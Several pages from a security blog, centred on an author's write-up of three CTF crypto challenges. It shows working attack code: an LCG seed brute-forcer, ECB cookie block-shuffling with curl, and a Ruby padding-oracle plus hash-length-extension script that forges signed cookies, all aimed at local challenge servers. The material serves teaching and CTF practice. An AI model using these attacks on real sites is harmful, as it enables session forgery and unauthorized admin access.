In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

Hey everybody,

In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page.

This post will be more about how I developed this, since the solution is fairly straight forward once you know how it's implemented.
Continue reading

BSidesSF CTF author writeup: genius

Hey all,

This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius!

genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the sourcecode, solution, and everything needed to run it yourself on our Github release!

It is actually implemented as a pair of programs: loader and genius. I only provide the binaries to the players, so it's up to the player to reverse engineer them. Fortunately, for this writeup, we'll have source to reference as needed!
Continue reading

Technical Rundown of WebExec

This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it's patched.

High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

Continue reading

Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

Hey everybody,

A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)
Continue reading

BSidesSF CTF wrap-up

Welcome!

While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.

Continue reading

Going the other way with padding oracles: Encrypting arbitrary data!

A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.
Continue reading

dnscat2 0.05: with tunnels!

Greetings, and I hope you're all having a great holiday!

My Christmas present to you, the community, is dnscat2 version 0.05!

Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

Info and downloads.
Continue reading

SANS Hackfest writeup: Hackers of Gravity

Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there!

We worked in small teams (I teamed up with Eric, who's also writing this blog with me). All they told us in advance was to bring a phone, so every part of this was solved with our phones and Google.

Each level began with an image, typically with a cipher embedded in it. After decoding the cipher, the solution and the image itself were used together to track down a related artifact.

This is a writeup of that scavenger hunt. :)
Continue reading

dnscat2: now with crypto!

Hey everybody,

Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!
Continue reading

Why DNS is awesome and why you should love it

It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :)

I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's difficult to describe these decisions as good or bad, it's just what we have to work with.

What I DON'T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.

Technically, I'm also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.
Continue reading

How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.
Continue reading

Defcon quals: wwtw (a series of vulns)

Hey folks,

This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. Who references!

I'm not going to spend much time on the theory of format-string vulnerabilities or return-oriented programming because I just covered them in babyecho and r0pbaby.

And by the way, I'll be building the solution in Python as we go, because the first part was solved by one of my teammates, and he's a Python guy. As much as I hated working with Python (which has become my life lately), I didn't want to re-write the first part and it was too complex to do on the shell, so I sucked it up and used his code.

You can download the binary here, and you can get the exploit and other files involved on my github page.
Continue reading

Defcon Quals: babyecho (format string vulns in gory detail)

Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally write about them!

You can grab the binary here, and you can get my exploit and some other files on this Github repo.
Continue reading

Defcon Quals: Access Control (simple reverse engineer)

Hello all,

Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process than reversing higher level stuff, because each instruction matters and it's often extremely hard to follow.

Having just finished another level (r0pbaby, I think), and having about an hour left in the competition, I wanted something I could finish quickly. There were two one-point reverse engineering challenges open that we hadn't solved: one was 64-bit and written in C++, whereas this one was 32-bit and C and only had a few short functions. The choice was easy. :)

I downloaded the binary and had a look at its strings. Lots of text-based stuff, such as "list users", "print key", and "connection id:", which I saw as a good sign!
Continue reading

Defcon Quals: r0pbaby (simple 64-bit ROP)

This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception!

Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I did do a few others - r0pbaby included - and am excited to write about them, as well!

r0pbaby is neat, because it's an absolute bare-bones ROP (return-oriented programming) level. Quite honestly, when it makes sense, I actually prefer using a ROP chain to using shellcode. Much of the time, it's actually easier! You can see the binary, my solution, and other stuff I used on this github repo.

It might make sense to read a post I made in 2013 about a level in PlaidCTF called ropasaurusrex. But it's not really necessary - I'm going to explain the same stuff again with two years more experience!
Continue reading

dnscat2 beta release!

As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :)

I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places.
Continue reading

GitS 2015: Huffy (huffman-encoded shellcode)

Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end.

Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was finishing it a half hour after the game ended. So I didn't do the final exploitation step.

At any rate, I solved the hard part, so I'll go over the solution!
Continue reading

GitS 2015: Giggles (off-by-one virtual machine)

Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!
Continue reading

#####EOF##### Some crypto challenges: Author writeup from BSidesSF CTF » SkullSecurity


Some crypto challenges: Author writeup from BSidesSF CTF

Hey everybody,

This is yet another author's writeup for BSidesSF CTF challenges! This one will focus on three crypto challenges I wrote: mainframe, mixer, and decrypto!

mainframe - bad password reset

mainframe, which you can view on the Github release immediately presents the player with some RNG code in Pascal:

  function msrand: cardinal;
  const
    a = 214013;
    c = 2531011;
    m = 2147483648;
  begin
    x2 := (a * x2 + c) mod m;
    msrand := x2 div 65536;
  end;

If you reverse engineer that, or google a constant, you'll find that it's a pretty common random number generator called a Linear Congruential Generator. You can find a ton of implementations, including that one, on Rosetta Code.

The text below that says:

We don't really know how it's seeded, but we do know they generate password resets one byte at a time (12 bytes total) - rand() % 0xFF - and they don't change the seed in between.

I had at least one question about that set up - since rand() % 0xFF at best can only be 255/256 possible values - but this is a CTF problem, right?

To solve this, I literally implemented the gen_password() function in C (on the theory that it'll be fastest that way):

int seed = 0;

int my_rand() {
  seed = (214013 * seed + 2531011) & 0x7fffffff;
  return seed >> 16;
}

void gen_password(uint8_t buffer[12]) {
  uint32_t i;

  for(i = 0; i < 12; i++) {
    buffer[i] = my_rand() % 0xFF;
  }
}

void print_hex(uint8_t *hex) {
  uint32_t i;
  for(i = 0; i < 12; i++) {
    printf("%02x", hex[i]);
  }
}

Then called it for each possible seed:

  int index;
  for(index = 0x0; index < 0x7FFFFFFF; index++) {
    seed = index;

    gen_password(generated_pw);

    if(!memcmp(generated_pw, desired, 12)) {
      printf("Found it! Seed = %d\n", index);
      gen_password(generated_pw);
      printf("Next password: \n");
      print_hex(generated_pw);
      printf("\n");
      exit(0);
    }
  }

Then I generated a test password: cfd55275b5d38beba9ab355b

Put that into the program:

$ ./solution cfd55275b5d38beba9ab355b
...
Next password:
126ab42e0de3d300260ff309

And log in as root, thereby solving the question!

In case you're curious, to implement this challenge I store the RNG seed in your local session. That way, people aren't stomping on each other's cookies!

mixer - ECB block shuffle

For the next challenge, mixer (Github link), you're presented with a login form with a first name, a last name, and an is_admin field. is_admin is set to 0, disabled, and isn't actually sent as part of the form submit. The goal is to switch on the is_admin flag in your cookie.

When you log in, it sends the username and password as a GET request, and tells you to keep an eye on a certain cookie:

$ curl -s --head 'http://localhost:1234/?action=login&first_name=test&last_name=test' | grep 'Set-Cookie: user='
Set-Cookie: user=a3000ad8bfaa21b7b20797c3d480601af63df911b378cf9729a203ff65d35ee723e95cf1d27d3a01758d32ea42bd52bb9b4113cd881549cb3edbc20ca3077726; path=/; HttpOnly

Unfortunately for the player, the cookie is encrypted! We can confirm this by passing in a longer name and seeing a longer cookie:

$ curl -s --head 'http://localhost:1234/?action=login&first_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&last_name=test' | grep 'Set-Cookie'
Set-Cookie: user=fbfaf2879c8e57b4ba623424c401915228bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b1fa044b6e8a48ecb5f6ee54aa10f36c037010895d9a22f694c7b0b415dc22107029f9e0eb4236189e29044158b50c0d0; path=/; HttpOnly
Set-Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWM3ZDY1NjRlNDFkMTkzODMxNWVi%0AYzFkYWZhNjljMGNkYWY3MzEzNTRiNzE0NmQ5NTRjZDQ0ODQxNTUwNmVjMGMG%0AOwBGSSIMYWVzX2tleQY7AEYiJe%2BrNKamgEXyzoed3PFi8cn7XWYz%2Fu0UnP9B%0AR1OIjrqX%0A; path=/; HttpOnly

Not only is it longer, there's another important characteristic. If we break up the encrypted data into 128-bit blocks, we can see a pattern emerge:

fbfaf2879c8e57b4ba623424c4019152
28bb743e365ba0dbe6987df8a6c3af9b
28bb743e365ba0dbe6987df8a6c3af9b
28bb743e365ba0dbe6987df8a6c3af9b
1fa044b6e8a48ecb5f6ee54aa10f36c0
37010895d9a22f694c7b0b415dc22107
029f9e0eb4236189e29044158b50c0d0

Notice how the second, third, and fourth blocks encrypt to the same data? That tells us that we're likely looking at encryption in ECB mode - electronic codebook - where each block of data is independently encrypted.

ECB mode has a useful property called "malleability". That means that the encrypted data can be changed in a controlled way, and the decrypted version of the data will reflect that change. Specifically, we can move blocks of data (16 bytes at a time) around - rearrange, delete, etc.

We can confirm this by sending back a user cookie with only the repeated field, which we can assume is a full block of As: "AAAAAAAAAAAAAAAA", twice (we also include the rack.session cookie, which is required to keep state):

$ export USER=28bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b
$ export RACK=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWM3ZDY1NjRlNDFkMTkzODMxNWVi%0AYzFkYWZhNjljMGNkYWY3MzEzNTRiNzE0NmQ5NTRjZDQ0ODQxNTUwNmVjMGMG%0AOwBGSSIMYWVzX2tleQY7AEYiJe%2BrNKamgEXyzoed3PFi8cn7XWYz%2Fu0UnP9B%0AR1OIjrqX%0A
$ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; rack.session=$RACK" | grep Error
        

Error parsing JSON: 765: unexpected token at 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Well, we know it's JSON! And we successfully created new ciphertext - simply 32 A characters.

If you mess around with the different blocks, you can eventually figure out that the JSON object encrypted in your cookie, if you choose "First Name" and "Last Name" for your names, looks like this:

{"first_name":"First Name","last_name":"Last Name","is_admin":0}

We can colour the blocks to see them more clearly:

{"first_name":"F
irst Name","last
_name":"Last Nam
e","is_admin":0}

So the "First Name" string starts with one character in the first block, then finished in the second block. If we were to make the first name 17 characters, the first byte would be in the first block, and the second block would be entirely made up of the first name. Kinda like this:

{"first_name":"A
AAAAAAAAAAAAAAAA
AAAAAAAAA","last
_name":"Last Nam
e","is_admin":0}

Note how 100% of the second block is controlled by us. Since ECB blocks are encrypted independently, that means we can use that as a building-block to build whatever customer ciphertext we want!

The only thing we can't use in a block is quotation marks, because they'll be escaped (unless we carefully ensure that the \ from the escape is in a separate block).

If I set my first name to some JSON-like data:

t:1}             est

And the last name to "AA", it creates the encrypted blocks:

{"first_name":"t
:1}             
est","last_name"
:"AA","is_admin"
:0}             

Then we can do a little surgury, and replace the last block with the second block:

{"first_name":"t
:1}              <-- Moved from here...
est","last_name"
:"AA","is_admin"
:1}              <-- ...to here

Or, put together:

{"first_name":"test","last_name":"AA","is_admin":1}             

Or just:

{"first_name":"test","last_name":"AA","is_admin":1}

So now, with encrypted blocks, we do the same thing. First encrypt the name t:1}             est / AA (in curl, we have to backslash-escape the { and convert   to +):

$ curl -s --head 'http://localhost:1234/?action=login&first_name=t:1\}+++++++++++++est&last_name=AA' | grep 'Set-Cookie'
Set-Cookie: user=bb9f8c6b5224a3eebbfe923d31c3ed04c275c360f2a1321f9916ddc88a158d0e10c9e456be5b2e62e9709eb06b1f54a08f115ffefce89f2294fb29c2f2f32ecdc07be6f8d314073bbf780b2b7bbb5f80; path=/; HttpOnly
Set-Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExOGFmODMzMjE0ZTA4OWE0OWYy%0ANGYzOTI4MzY1ZWMxNTY0ZGIyMWZhYmZjYzNiNTM5OGQ1MDk4OTA1NGRkMzYG%0AOwBGSSIMYWVzX2tleQY7AEYiJUrTUZz8H7iqi4W5CXOsTV5z4MCP0DTS7ZeI%0A5n02%2B7Xb%0A; path=/; HttpOnly

Then split the user cookie into blocks, like we did with the encrypted text:

bb9f8c6b5224a3eebbfe923d31c3ed04
c275c360f2a1321f9916ddc88a158d0e
10c9e456be5b2e62e9709eb06b1f54a0
8f115ffefce89f2294fb29c2f2f32ecd
c07be6f8d314073bbf780b2b7bbb5f80

We literally switch the blocks around like we did before:

bb9f8c6b5224a3eebbfe923d31c3ed04
c275c360f2a1321f9916ddc88a158d0e <-- Moved from here...
10c9e456be5b2e62e9709eb06b1f54a0
8f115ffefce89f2294fb29c2f2f32ecd
c275c360f2a1321f9916ddc88a158d0e <-- ...to here

Which gives us the new user cookie, which we combine with the rack.session cookie:

$ export USER=bb9f8c6b5224a3eebbfe923d31c3ed0410c9e456be5b2e62e9709eb06b1f54a08f115ffefce89f2294fb29c2f2f32ecdc275c360f2a1321f9916ddc88a158d0e
$ export RACK=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExOGFmODMzMjE0ZTA4OWE0OWYy%0ANGYzOTI4MzY1ZWMxNTY0ZGIyMWZhYmZjYzNiNTM5OGQ1MDk4OTA1NGRkMzYG%0AOwBGSSIMYWVzX2tleQY7AEYiJUrTUZz8H7iqi4W5CXOsTV5z4MCP0DTS7ZeI%0A5n02%2B7Xb%0A
$ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; rack.session=$RACK" | grep Congrats
      <p>And it looks like you're admin, too! Congrats! Your flag is <span class='highlight'>CTF{is_fun!!uffling_block_sh}</span></p>

And that's the challenge! We were able to take advantage of ECB's inherent malleability to change our JSON object to an arbitrary value.

decrypto - padding oracle + hash extension

The final crypto challenge I wrote was called decrypto (github link), since by that point I had entirely lost creativity, and is a combination of crypto vulnerabilities: a padding oracle and a hash extension. The goal was to demonstrate the classic Cryptographic Doom Principle, by checking the signature AFTER decrypting, instead of before.

Like before, this challenge uses the user= cookie, but additionally the signature= cookie will need to be modified as well.

Here are the cookies:

$ curl -s --head 'http://localhost:1234/' | grep 'Set-Cookie'
Set-Cookie: signature=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8; path=/; HttpOnly
Set-Cookie: user=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190adb; path=/; HttpOnly
Set-Cookie: rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A; path=/; HttpOnly

We'll have to maintain the rack.session cookie, since that's where our encryption keys are stored. We initially have no idea of what format the user= cookie decrypts to, and no matter how much you ask, I wasn't gonna tell you. You can, however, see a few fields if you look at the actual rendered page:

Welcome to the mainframe!
It looks like you want to access the flag!
...
Please present user object
...
...scanning
...scanning
...
Scanning user object...
...your UID value is set to 57
...your NAME value is set to baseuser
...your SKILLS value is set to n/a
...
ERROR: ACCESS DENIED
...
UID MUST BE '0'

If we refresh, those values are still present, so we can assume that they're encoded into that value somehow. The cookie is, it turns out, exactly 64 bytes long.

First, let's make sure we can properly request the page with curl:

$ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
$ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
$ export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190adb
$ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK"
[...]
   data.push("...your UID value is set to 52");
   data.push("...your NAME value is set to baseuser");
   data.push("...your SKILLS value is set to n/a");
[...]

One of the first things I always try when I see an encrypted-looking cookie is to change the last byte and see what happens. Now that we have a working curl request, let's try that:

$ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
$ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
$ export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190ade
$ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK" | grep -i error
    data.push("FATAL ERROR: bad decrypt")

The decrypt fails if we set the last byte wrong! What if we set it to each of the 256 possible bytes?

$ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
$ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8

$ for i in `seq 0 255`; do export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190a`printf '%02x' $i`; curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK" | grep -i 'error' | grep -v 'bad decrypt'; done
    data.push("FATAL ERROR: Bad signature!")
    data.push("ERROR: ACCESS DENIED");

There are two errors that are NOT the usual "bad decrypt" one - one is "ACCESS DENIED" - our original - and the other is "Bad signature!". Hmm! This sounds an awful lot like a padding oracle vulnerability!

Fortunately, I've written a tool for this!

Here's my Poracle configuration file (just a file called Solution.rb in the same folder as Poracle.rb):

# encoding: ASCII-8BIT

##
# Demo.rb
# Created: February 10, 2013
# By: Ron Bowes
#
# A demo of how to use Poracle, that works against RemoteTestServer.
##

require './Poracle'
require 'httparty'
require 'singlogger'
require 'uri'

# Note: set this to DEBUG to get full full output
SingLogger.set_level_from_string(level: "DEBUG")
L = SingLogger.instance()

# 16 is good for AES and 8 for DES
BLOCKSIZE = 16

def request(cookies)
  return HTTParty.get(
    'http://localhost:1234/',
    follow_redirects: false,
    headers: {
      'Cookie' => "signature=#{cookies[:signature]}; user=#{cookies[:user]}; rack.session=#{cookies[:session]}"
    }
  )
end

def get_cookies()
  reset = HTTParty.head('http://localhost:1234/?action=reset', follow_redirects: false)
  cookies = reset.headers['Set-Cookie']

  return {
    signature: cookies.scan(/signature=([0-9a-f]*)/).pop.pop,
    user:      cookies.scan(/user=([0-9a-f]*)/).pop.pop,
    session:   cookies.scan(/rack\.session=([^;]*)/).pop.pop,
  }
end

# Get the initial set of cookies
COOKIES = get_cookies()

# This is the do_decrypt block - you'll have to change it depending on what your
# service is expecting (eg, by adding cookies, making a POST request, etc)
poracle = Poracle.new(BLOCKSIZE) do |data|
  cookies = COOKIES.clone()
  cookies[:user] = data.unpack("H*").pop

  result = request(cookies)
  #result.parsed_response.force_encoding("ASCII-8BIT")

  # Split the response and find any line containing error / exception / fail
  # (case insensitive)
  errors = result.parsed_response.split(/\n/).select { |l| l =~ /bad decrypt/i }

  # Return true if there are zero errors
  errors.empty?
end

data = COOKIES[:user]

L.info("Trying to decrypt: %s" % data)

# Convert to a binary string using pack
data = [data].pack("H*")

result = poracle.decrypt_with_embedded_iv(data)

# Print the decryption result
puts("-----------------------------")
puts("Decryption result")
puts("-----------------------------")
puts result
puts("-----------------------------")

If I run it, it outputs:

$ ruby ./Solution.rb
I, [2019-03-10T14:57:29.516523 #24889]  INFO -- : Starting Poracle with blocksize = 16
I, [2019-03-10T14:57:29.516584 #24889]  INFO -- : Trying to decrypt: 02e16b251f7077786a2bba0d82ce1e4fab04a1a088c681ed493156fb7ef14a7a20b0f63c99a74249f9c04192da896ae0b4105ea7e187de2d960ec95f5de6bbaa
I, [2019-03-10T14:57:29.516604 #24889]  INFO -- : Grabbing the IV from the first block...
I, [2019-03-10T14:57:29.519956 #24889]  INFO -- : Starting Poracle decryptor...
D, [2019-03-10T14:57:29.520023 #24889] DEBUG -- : Encrypted length: 64
D, [2019-03-10T14:57:29.520037 #24889] DEBUG -- : Blocksize: 16
D, [2019-03-10T14:57:29.520047 #24889] DEBUG -- : 4 blocks:
D, [2019-03-10T14:57:29.520070 #24889] DEBUG -- : Block 1: ["02e16b251f7077786a2bba0d82ce1e4f"]
D, [2019-03-10T14:57:29.520085 #24889] DEBUG -- : Block 2: ["ab04a1a088c681ed493156fb7ef14a7a"]
D, [2019-03-10T14:57:29.520098 #24889] DEBUG -- : Block 3: ["20b0f63c99a74249f9c04192da896ae0"]
D, [2019-03-10T14:57:29.520110 #24889] DEBUG -- : Block 4: ["b4105ea7e187de2d960ec95f5de6bbaa"]
...
[... lots of output ...]
...
-----------------------------
Decryption result
-----------------------------
UID 53
NAME baseuser
SKILLS n/a
-----------------------------

Aha, that's what the decrypted block looks like! Keep in mind that Poracle started its own session, so the values are different than they were earlier.

What we want to do is append a UID 0 to the bottom:

UID 53
NAME baseuser
SKILLS n/a
UID 0

But if we just use the padding oracle to encrypt that, we'll get an "Invalid Signature" error. Fortunately, this is also vulnerable to hash length extension! And, also fortunately, I wrote a tool for this, too, along with a super detailed blog about the attack!

I added the following code to the bottom of Solution.rb:

# Write it to a file
File.open("/tmp/decrypt", "wb") do |f|
  f.write(result)
end

# Call out to hash_extender and pull out the new data
append = "\nUID 0\n".unpack("H*").pop
out = `./hash_extender --file=/tmp/decrypt -s #{COOKIES[:signature]} -a '#{append}' --append-format=hex -f sha256 -l 8`
new_signature = out.scan(/New signature: ([0-9a-f]*)/).pop.pop
new_data = out.scan(/New string: ([0-9a-f]*)/).pop.pop

This dumps the decrypted data to a file, /tmp/decrypt. It then appends "\nUID 0\n" using hash_extender, and grabs the new signature/data.

Then, finally, we add a call to poracle.encrypt to re-encrypt the data:

# Call out to Poracle to encrypt the new data
new_encrypted_data = poracle.encrypt([new_data].pack('H*'))

# Perform the request to get the flag
cookies = COOKIES.clone
cookies[:user] = new_encrypted_data.unpack("H*").pop
cookies[:signature] = new_signature
puts(request(cookies))

If you let the whole thing run, you'll first note that the encryption takes a whole lot longer than the decryption did. That's because it can't optimize for "probably English letters" going that way.

But eventually, it'll finish and print out the whole page, including:

...
  data.push("...your UID value is set to 0");
  data.push("...your NAME value is set to baseuser");
  data.push("...your SKILLS value is set to n/a");
  data.push("...your �@ value is set to ");
  data.push("FLAG VALUE: <span class='highlight'>CTF{parse_order_matters}</span></p>");
...

And that's the end of the crypto challenges! Definitely read my posts on padding oracles and hash extension, since I dive into deep detail!

Leave a Reply

Your email address will not be published.

 

#####EOF##### August » 2011 » SkullSecurity

A deeper look at ms11-058

Hey everybody, Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - ms11-058 - was rated critical and potentially exploitable. However, according to Microsoft, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree. Although I didn't find […]

#####EOF##### December » 2009 » SkullSecurity

smb-psexec.nse: owning Windows, fast (Part 2)

Posts in this series (I'll add links as they're written): What does smb-psexec do? Sample configurations ("sample.lua") Default configuration ("default.lua") Advanced configuration ("pwdump.lua" and "backdoor.lua")

smb-psexec.nse: owning Windows, fast (Part 1)

Posts in this series (I'll add links as they're written): What does smb-psexec do? Sample configurations ("sample.lua") Default configuration ("default.lua") Advanced configuration ("pwdump.lua" and "backdoor.lua")

#####EOF##### Book review: The Car Hacker’s Handbook » SkullSecurity


Book review: The Car Hacker’s Handbook

So, this is going to be a bit of an unusual blog for me. I usually focus on technical stuff, exploitation, hacking, etc. But this post will be a mixture of a book review, some discussion on my security review process, and whatever asides fall out of my keyboard when I hit it for long enough. But, don't fear! I have a nice heavy technical blog ready to go for tomorrow!

Introduction

Let's kick this off with some pointless backstory! Skip to the next <h1> heading if you don't care how this blog post came about. :)

